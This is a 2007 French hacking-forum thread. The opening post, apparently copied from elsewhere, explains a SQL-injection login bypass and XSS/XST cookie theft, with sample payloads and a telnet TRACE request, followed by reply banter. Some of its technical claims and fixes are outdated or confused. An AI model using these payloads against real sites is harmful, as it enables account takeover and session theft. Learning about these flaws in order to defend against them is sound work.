$query = "SELECT * FROM admin WHERE login = 'admin' /*' AND pass = '*/ AND '1' = '1' ";
Et il faut savoir qu'en PHP /* et*/ permete de metre des commentaires et le code entre ces deux balise est ignoré
alors la requete deviendra:
$query = "SELECT * FROM admin WHERE login = 'admin' AND '1' = '1' ";
Alors le script va chercher dans la table admin.php une ligne ou le login est admin et ou 1 = 1 ce qui est toujours vrai (pour ceux
qui sont bon en math)...Et voila vous etes admin a la place de l'admin maintenant ca marche pas toujours comme ca mas tant que
vous avez compris le principe et que vous avez quelque notions de php ca devrait aller.Pour s'en proteger regler
l'option gpc_magic_quotes de php a 1.
Cross Site Scripting
Vous avez sûrement entendu parler de la fameuse faille XSS (cross site scripting), qui permettait entre autre de récupérer les cookies d'une session en cours? Et bien voici la nouvelle génération de XSS, appelé le XST (cross site tracing).
Bon, voyons tout d'abord en quoi consistait la faille XSS pour mieux comprendre le XST. Lorsque certaines variables (par exemple en JavaScript) ne sont pas bien protégées/sécurisées, il est possible d'indiquer la fin d'une variable et d'en implémenter une autre à la suite. Je m'explique: lorsque vous avez, par exemple, un formulaire de recherche dans une page web (avec une ligne du genre:
<input> </input>
<input> </input>).
Il est possible, par l'intermédiaire d'une simple ligne de code, de faire apparaître une fenêtre "alert" contenant à peu près ce que l'on veux.
Ex:
dans la barre de recherche, tapez ceci: "><script>alert('Hello')</script>
Ceci va fermer la balise input et passer en paramètre de recherche le script: alert('Hello'). Dans le cas présent, nous aurons une fenêtre qui apparaîtra avec comme paramètre la chaîne de caractères "Hello". Vous vous en doutez, ceci n'est pas très intéressant... Par contre, il est possible de mettre en paramètre la valeur document·cookie à la place de la chaîne de caractère "Hello". Ceci va donc nous donner la valeur (normalement id_session) de notre cookie sur le site sur lequel nous opérons le test. Avec une manipulation assez simple du code JavaScript, il est possible d'envoyer un e-mail piégé à Monsieur X, nous permettant donc de récupérer son cookie avec sa session. Ceci implique (pour faire bref...) que nous pouvons donc se connecter à son compte e-mail! Voici donc les bases du XSS.
Depuis quelque temps, et étant donné que la plupart des "grands" du monde d'internet ne sont pas stupides (enfin, presque...), genre M$, google, yahoo, ils ont donc interdit, ou plutôt protégé leurs variables contre l'exécution de scripts, et surtout du paramètre "document·cookie". Mais ils se sont arrêtés là!
Avant de vous parler du XST, il serait judicieux de vous illustrer un peu le protocole (protocole est un grand mot...) TRACE (protocole sur lequel repose notre faille).
Si vous ne le savez pas encore, lorsque vous naviguez sur le net vous utilisez plusieurs protocoles pour envoyer et reçevoir des informations, et ceci à votre insu. Je ne vais pas m'étendre là-dessus, mais sachez juste que vous pouvez utiliser plusieurs méthodes, ou requêtes d'envoi et de réception des données. Voici les méthodes possibles: GET, POST, TRACE (il y en a d'autres, mais ce n'est pas trop le but de ce texte ). Ceci étant fait, nous allons donc essayer de retrouver où réside la valeur passée dans document·cookie. Et c'est là qu'intervient la méthode TRACE. En effet, cette méthode va faire un echo des informations contenues dans la requête HTTP, incluant le cookie ainsi que l'authentification web. Voici une méthode très simple, utilisant le protocole Telnet, pour voir si le serveur cible accepte la méthode TRACE:
---------------------
telnet www.test.com 80
Trying 127.0.0.1...
Connected to www.test.com
Escape character is '^]' .
TRACE / HTTP/1.1
Host: www.test.com
X-Header: test
---------------------
Si le serveur accepte la requête TRACE, vous devriez avoir quelque chose comme ça:
---------------------
HTTP/1.1 200 OK
Date: Wed 01 Jan 2004 12:34:20 GMT
Server: Microsoft-IIS/5.0
Content-Tye: message/http
---------------------
Par contre, le problème se situe dans le fait qu'un navigateur comme IE n'accepte pas les requêtes TRACE (les navigateurs ont par défaut la méthode HttpOnly activée, ce qui empêche la réception de requêtes TRACE). Il va donc falloir passer par un autre chemin pour récupérer les informations contenues dans la requête HTTP. C'est là qu'interviennent les langages de programmation et de script comme Java, ActiveScript ou encore JavaScript (normalement tout type de langage peut être utilisé pour cette faille). Par l'intermédiaire de ces langages, il est possible de récupérer les informations contenues dans la requête HTTP. Dans notre exemple nous allons utiliser du JavaScript avec des fonctions ActiveX.
Avec ce simple code, il est possible d'obtenir le cookie envoyé par le site. Si nous sommes loggués sur le site, il nous renverra notre propre cookie.
---------------------
<script>
<function>
</script>
<input>
---------------------
Ce petit script va donc envoyer va envoyer une requête TRACE au serveur www.test.com. Si le serveur supporte la méthode TRACE, il va renvoyer un echo avec les informations contenues dans la requête HTTP. Votre navigateur va interpréter ces données par le biais du script JavaScript dans une fenêtre alert. Ce code démontre qu'il est possible d'obtenir un cookie sans passer par document·cookie .
Remarque: il est possible d'obtenir ce genre d'informations même à travers un lien SSL. Il est également intéressant de noter que ce genre de script marche également sur d'autres navigateurs, comme par exemple Mozilla.
Un problème se pose: il n'est pas possible d'atteindre un autre domaine que celui identifié dans la requête du TRACE. Par exemple, un script lancé sur test.com avec comme méthode TRACE n'aura un effet que sur test.com, pas sur d'autres domaines. Ceci peut être contourné assez facilement.
Voici une source permettant d'obtenir le cookie:
---------------------
<script>
<function>
</script>
<input>
---------------------
Vous pouvez tester ce code chez vous sur des sites acceptant la méthode TRACE. Maintenant, à vous de voir ce qu'il est possible de faire avec tout ça
Solution: désactiver la méthode TRACE sur le serveur (activée par défaut)
désactiver l'exécution de scripts ActiveX |
|
| Revenir en haut |
|
 |
GH03
Inscrit le: 26 Oct 2005 Messages: 467
|
Posté le: Lun Juil 09, 2007 1:21 pm |
Sujet du message:
|
|
| T'avait pas plus long ??? |
|
| Revenir en haut |
|
 |
leiton
Inscrit le: 09 Juil 2007 Messages: 7
|
Posté le: Lun Juil 09, 2007 1:30 pm |
Sujet du message:
|
|
wé si tu veut  |
|
| Revenir en haut |
|
 |
Celelibi

Inscrit le: 29 Mar 2006 Messages: 770
|
Posté le: Lun Juil 09, 2007 2:56 pm |
Sujet du message:
|
|
T'es un AS du copier/coller dis donc... _________________ Il y a un boulet qui sommeille en chacun de nous. (enfin, surtout vous...) |
|
| Revenir en haut |
|
 |
m3ph Admin forum/chat

Inscrit le: 11 Sep 2005 Messages: 485 Localisation: Région parisienne
|
Posté le: Lun Juil 09, 2007 3:52 pm |
Sujet du message:
|
|
Et moi je me fend la peche a tout importer sur le nouveau forum.... _________________ Hacktivissement vôtre.
m3ph |
|
| Revenir en haut |
|
 |
leiton
Inscrit le: 09 Juil 2007 Messages: 7
|
Posté le: Lun Juil 09, 2007 4:20 pm |
Sujet du message:
|
|
| je l'est copier de mon fofo lol |
|
| Revenir en haut |
|
 |
Celelibi

Inscrit le: 29 Mar 2006 Messages: 770
|
Posté le: Mar Juil 10, 2007 3:25 pm |
Sujet du message:
|
|
Quoi qu'il en soit tu aurais dû indiquer d'auteur original (qui n'est certainement pas celui qui l'as posté sur ton forum).
De plus, poster un article de ce genre sur un forum n'a jamais été très efficace en terme de lisibilité et visibilité (par ceux qui cherchent cette information). _________________ Il y a un boulet qui sommeille en chacun de nous. (enfin, surtout vous...) |
|
| Revenir en haut |
|
 |
MagmatiCz
Inscrit le: 21 Juil 2007 Messages: 22
|
Posté le: Sam Juil 21, 2007 9:29 am |
Sujet du message:
|
|
Bonjour,
Vraiment intéréssant ^^, je veux pas faire le mec qui suit la règle à la lettre , mais montrer les failles de sites different ça frise l'aide et l'incitation au hack non ? =/ je suis pas très convaincu par le fait qu'un admin reponde à ce topic comme si de rien n'était, enfin si je me trompe aretez-moi.
C'est comme donner le baton pour battre .
@Bientot |
|
| Revenir en haut |
|
 |
overyggy
Inscrit le: 24 Avr 2007 Messages: 72
|
Posté le: Dim Juil 22, 2007 3:17 pm |
Sujet du message:
|
|
oulala je connaissais pas tout ça tu m'apprend plien de chose putain tu es un génie du copier collé !! _________________ int main() {
printf("BOnjours TLM\n");
sleep(1000);
return 1;
} |
|
| Revenir en haut |
|
 |
Zer0C00L
Inscrit le: 03 Sep 2007 Messages: 7
|
Posté le: Lun Sep 03, 2007 5:57 pm |
Sujet du message:
|
|
Et bin Chapeau au mec qui c'est tappé tout celà c'est super bien expliqué en plus BRAVO
Je ne sais pas de quand date le post mais je le fait revivre juste pour dire bravo =) |
|
| Revenir en haut |
|
 |
kazYp

Inscrit le: 10 Nov 2007 Messages: 10 Localisation: Paris(92)
|
Posté le: Sam Nov 10, 2007 10:56 pm |
Sujet du message:
|
|
Bon tant qu'il est deterré, idem.
Tout est bien expliqué faudrait le mettre en PDF, ça serait bien pratique. |
|
| Revenir en haut |
|
 |
|
|